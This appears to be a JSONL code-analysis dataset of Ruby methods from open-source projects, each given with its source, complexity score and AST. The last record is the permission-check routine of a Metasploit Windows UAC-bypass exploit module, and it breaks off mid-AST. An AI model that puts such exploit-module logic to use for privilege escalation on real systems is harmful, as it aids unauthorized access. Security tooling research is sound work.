{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":173,"raw_source":"def by_yaml_errors(items)\n      case Gitlab::Utils.to_boolean(params[:yaml_errors])\n      when true\n        items.where.not(yaml_errors: nil)\n      when false\n        items.where(yaml_errors: nil)\n      else\n        items\n      end\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_yaml_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"yaml_errors\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_errors\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_errors\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}","id":"2f543a5b-a822-4ca4-9475-4a76c3719e16"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/show_exceptions_test.rb","start_line":7,"raw_source":"def call(env)\n      req = ActionDispatch::Request.new(env)\n      case req.path\n      when \"/not_found\"\n        raise AbstractController::ActionNotFound\n      when \"/invalid_mimetype\"\n        raise ActionDispatch::Http::MimeNegotiation::InvalidType\n      when \"/bad_params\", \"/bad_params.json\"\n        begin\n          raise StandardError.new\n        rescue\n          raise ActionDispatch::Http::Parameters::ParseError\n        end\n      when \"/method_not_allowed\"\n        raise ActionController::MethodNotAllowed, \"PUT\"\n      when \"/unknown_http_method\"\n        raise ActionController::UnknownHttpMethod\n      when \"/not_found_original_exception\"\n        begin\n          raise AbstractController::ActionNotFound.new\n        rescue\n          raise ActionView::Template::Error.new(\"template\")\n        end\n      when \"/rate_limited\"\n        raise ActionController::TooManyRequests.new\n      else\n        raise \"puke!\"\n      end\n    end","complexity_score":32.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"path\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/not_found\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbstractController\"]},\"ActionNotFound\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/invalid_mimetype\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"MimeNegotiation\"]},\"InvalidType\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/bad_params\"]},{\"type\":\"str\",\"children\":[\"/bad_params.json\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"Parameters\"]},\"ParseError\"]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/method_not_allowed\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"MethodNotAllowed\"]},{\"type\":\"str\",\"children\":[\"PUT\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/unknown_http_method\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"UnknownHttpMethod\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/not_found_original_exception\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbstractController\"]},\"ActionNotFound\"]},\"new\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Template\"]},\"Error\"]},\"new\",{\"type\":\"str\",\"children\":[\"template\"]}]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"/rate_limited\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TooManyRequests\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"puke!\"]}]}]}]}]}","id":"2b6d8f17-1ded-4e42-8d31-ce64dccb0446"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":883,"raw_source":"def test_type_trickles_through_when_unknown\n    product_xml = <<-EOT\n    <product>\n      <weight type=\"double\">0.5</weight>\n      <image type=\"ProductImage\"><filename>image.gif</filename></image>\n\n    </product>\n    EOT\n\n    expected_product_hash = {\n      weight: 0.5,\n      image: { \"type\" => \"ProductImage\", \"filename\" => \"image.gif\" },\n    }.stringify_keys\n\n    assert_equal expected_product_hash, Hash.from_xml(product_xml)[\"product\"]\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_trickles_through_when_unknown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"product_xml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    <product>\\n\"]},{\"type\":\"str\",\"children\":[\"      <weight type=\\\"double\\\">0.5</weight>\\n\"]},{\"type\":\"str\",\"children\":[\"      <image type=\\\"ProductImage\\\"><filename>image.gif</filename></image>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    </product>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_product_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"weight\"]},{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"ProductImage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"image.gif\"]}]}]}]}]},\"stringify_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_product_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"lvar\",\"children\":[\"product_xml\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"product\"]}]}]}]}]}","id":"6641ca06-c048-4ce4-843a-5b1ced5f42e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/researcher.rb","start_line":131,"raw_source":"def details\n          if @dry_run\n            I18n.t(\"discourse_ai.ai_bot.tool_description.researcher_dry_run\", description_args)\n          else\n            I18n.t(\"discourse_ai.ai_bot.tool_description.researcher\", description_args)\n          end\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dry_run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.ai_bot.tool_description.researcher_dry_run\"]},{\"type\":\"send\",\"children\":[null,\"description_args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.ai_bot.tool_description.researcher\"]},{\"type\":\"send\",\"children\":[null,\"description_args\"]}]}]}]}","id":"fa3dd06f-2d41-4926-a3b0-f0cb0d0dd349"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":451,"raw_source":"def is_refreshable?\n    refreshable_status[:show]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_refreshable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refreshable_status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"show\"]}]}]}","id":"bab9d065-f2df-42e4-aa0c-85fe616b631e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240402150229_add_service_ping_settings_json_column_to_application_settings.rb","start_line":8,"raw_source":"def up\n    add_column :application_settings, :service_ping_settings, :jsonb, default: {}, null: false\n\n    add_check_constraint(\n      :application_settings,\n      \"(jsonb_typeof(service_ping_settings) = 'object')\",\n      'check_application_settings_service_ping_settings_is_hash'\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"service_ping_settings\"]},{\"type\":\"sym\",\"children\":[\"jsonb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"str\",\"children\":[\"(jsonb_typeof(service_ping_settings) = 'object')\"]},{\"type\":\"str\",\"children\":[\"check_application_settings_service_ping_settings_is_hash\"]}]}]}]}","id":"05d17717-9fab-4d25-a0e2-6340d0ff634b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2942,"raw_source":"def callouts_by_feature_name\n    @callouts_by_feature_name ||= callouts.index_by(&:feature_name)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"callouts_by_feature_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@callouts_by_feature_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"callouts\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]}]}]}]}]}","id":"f9cc5bcb-3f6b-4431-b2d2-22da12c52c55"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/fast_quarantine.rb","start_line":24,"raw_source":"def skip_example?(example)\n      identifiers.find do |quarantined_entity_identifier|\n        case quarantined_entity_identifier\n        when /^.+_spec\\.rb\\[[\\d:]+\\]$/ # example id, e.g. spec/tasks/gitlab/usage_data_rake_spec.rb[1:5:2:1]\n          example.id == \"./#{quarantined_entity_identifier}\"\n        when /^.+_spec\\.rb:\\d+$/ # file + line, e.g. spec/tasks/gitlab/usage_data_rake_spec.rb:42\n          fetch_metadata_from_ancestors(example, :location)\n            .any?(\"./#{quarantined_entity_identifier}\")\n        when /^.+_spec\\.rb$/ # whole file, e.g. ee/spec/features/boards/swimlanes/epics_swimlanes_sidebar_spec.rb\n          fetch_metadata_from_ancestors(example, :file_path)\n            .any?(\"./#{quarantined_entity_identifier}\")\n        end\n      end\n    end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_example?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quarantined_entity_identifier\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantined_entity_identifier\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^.+_spec\\\\.rb\\\\[[\\\\d:]+\\\\]$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"id\"]},\"==\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantined_entity_identifier\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^.+_spec\\\\.rb:\\\\d+$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_metadata_from_ancestors\",{\"type\":\"lvar\",\"children\":[\"example\"]},{\"type\":\"sym\",\"children\":[\"location\"]}]},\"any?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantined_entity_identifier\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^.+_spec\\\\.rb$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_metadata_from_ancestors\",{\"type\":\"lvar\",\"children\":[\"example\"]},{\"type\":\"sym\",\"children\":[\"file_path\"]}]},\"any?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quarantined_entity_identifier\"]}]}]}]}]},null]}]}]}","id":"a42ce2c5-6a1a-4e62-a0de-26618f97e179"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/rerun_epic_dates_to_work_item_dates_sources_sync_spec.rb","start_line":226,"raw_source":"def with_fixed_dates(start_date, due_date)\n      {\n        start_date: DateTime.parse(start_date),\n        end_date: DateTime.parse(due_date),\n        start_date_fixed: DateTime.parse(start_date),\n        due_date_fixed: DateTime.parse(due_date),\n        start_date_is_fixed: true,\n        due_date_is_fixed: true\n      }\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_fixed_dates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"due_date\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"due_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date_fixed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date_fixed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"due_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date_is_fixed\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date_is_fixed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"43f65d9a-7600-412c-86ee-0779774659e9"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/denormalized_has_one_test.rb","start_line":116,"raw_source":"def test_cached_associations_after_commit_hook_will_not_fail_on_undefined_parent_association\n    ar = AssociatedRecord.new\n    ar.save\n    assert_nothing_raised { ar.expire_parent_caches }\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cached_associations_after_commit_hook_will_not_fail_on_undefined_parent_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ar\"]},\"save\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ar\"]},\"expire_parent_caches\"]}]}]}]}","id":"9cf3a566-7b8c-4a8a-9964-70e1edbc77aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/saml/user.rb","start_line":55,"raw_source":"def any_external_config_present?\n          external_provider? || external_users_enabled?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"any_external_config_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"external_provider?\"]},{\"type\":\"send\",\"children\":[null,\"external_users_enabled?\"]}]}]}","id":"9a50e28f-b06f-44cd-ab13-c7a77b869eaa"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/search/username.rb","start_line":21,"raw_source":"def self.serialize(results)\n      Search::NestedUserSerializer\n        .new(results, is_collection: true)\n        .serializable_hash[:data]\n        .pluck(:attributes)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"NestedUserSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_collection\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"serializable_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]}]}","id":"299d141d-46fc-4664-a2b9-260961d961c2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/query_counter.rb","start_line":16,"raw_source":"def callback_proc\n        lambda(&method(:callback))\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"callback_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"lambda\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"callback\"]}]}]}]}]}","id":"d56d9ac2-144a-41a2-92ec-10a9405891ec"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/selection_management.rb","start_line":27,"raw_source":"def has_move_action?\n          has_button?(selector_for(\"move\"))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_move_action?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_button?\",{\"type\":\"send\",\"children\":[null,\"selector_for\",{\"type\":\"str\",\"children\":[\"move\"]}]}]}]}","id":"5cabd233-ee76-418f-a18c-7854797093ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/models/audit_event.rb","start_line":42,"raw_source":"def self.by_entity_username(username)\n        new.by_entity_username(username)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"by_entity_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"by_entity_username\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}","id":"fdb3962b-384b-4138-ad34-4c768558134a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/diff_utils/simple_diff.rb","start_line":142,"raw_source":"def find_block_matches(content, search)\n          content_blocks = extract_blocks(content)\n          search_blocks = extract_blocks(search)\n\n          return nil if content_blocks.empty? || search_blocks.empty?\n\n          matches = []\n          search_blocks.each do |search_block|\n            content_blocks.each do |content_block|\n              matches << content_block if content_block[:text] == search_block[:text]\n            end\n          end\n\n          matches.empty? ? nil : matches\n        end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_block_matches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"arg\",\"children\":[\"search\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content_blocks\",{\"type\":\"send\",\"children\":[null,\"extract_blocks\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_blocks\",{\"type\":\"send\",\"children\":[null,\"extract_blocks\",{\"type\":\"lvar\",\"children\":[\"search\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_blocks\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_blocks\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_blocks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"search_block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_blocks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_block\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_block\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"content_block\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"empty?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]}]}","id":"cc148f9e-cc72-4591-b23e-3fe982a11fa0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/oneoff_campaign_service.rb","start_line":19,"raw_source":"def whatsapp_campaign?\n    campaign.inbox.inbox_type == 'Whatsapp'\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"whatsapp_campaign?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"campaign\"]},\"inbox\"]},\"inbox_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Whatsapp\"]}]}]}","id":"1d7b3405-7057-4b07-bdef-8271e844e615"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_eventvwr.rb","start_line":165,"raw_source":"def check_permissions!\n    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?\n\n    # Check if you are an admin\n    vprint_status('Checking admin status...')\n    admin_group = is_in_admin_group?\n\n    unless check == Exploit::CheckCode::Appears\n      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')\n    end\n\n    unless is_in_admin_group?\n      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')\n    end\n\n    print_status('UAC is Enabled, checking level...')\n    if admin_group.nil?\n      print_error('Either whoami is not there or failed to execute')\n      print_error('Continuing under assumption you already checked...')\n    elsif admin_group\n      print_good('Part of Administrators group! Continuing...')\n    else\n      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')\n    end\n\n    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]\n      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')\n    end\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_permissions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},{\"type\":\"send\",\"children\":[null,\"is_system?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"None\"]},{\"type\":\"str\",\"children\":[\"Already in elevated state\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking admin status...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"admin_group\",{\"type\":\"send\",\"children\":[null,\"is_in_admin_group?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_in_admin_group?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Not in admins group, cannot escalate with this module\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"UAC is Enabled, checking level...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_group\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Either whoami is not there or failed to execute\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Continuing under assumption you already 